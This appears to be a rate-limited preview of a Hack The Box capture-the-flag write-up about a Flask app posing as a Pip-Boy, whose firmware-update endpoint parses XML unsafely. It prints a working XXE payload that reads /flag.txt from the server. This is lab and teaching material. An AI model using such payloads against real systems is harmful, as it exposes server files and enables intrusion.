$ cat writeup.md…
$ cat writeup.md…
hackthebox
The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device, working meticulously to bypass its sophisticated biometric locks. U
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device, working meticulously to bypass its sophisticated biometric locks. Using custom firmware and a series of precise modifications, can you bring the device to full operational status in order to pair it with the vault door's access port.
Target: 83.136.249.164:45064
Connected to the target and discovered a Flask/Werkzeug Python web application simulating a Pip-Boy device with multiple pages:
/rom page containing a "Firmware Update" feature/static/js/update.js which reveals the API endpoint:
POST /api/updateapplication/xmlThe XML parser does not properly sanitize external entities, making it vulnerable to XXE (XML External Entity) Injection.
Crafted an XXE payload to read /flag.txt by defining an external entity that references the local file:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <FirmwareUpdateConfig> <Firmware> <Version>&xxe;</Version> <ReleaseDate>2077-10-21</ReleaseDate> <Description>Test</Description> <Checksum type="SHA-256">test</Checksum> </Firmware> </FirmwareUpdateConfig>
...
$ grep --similar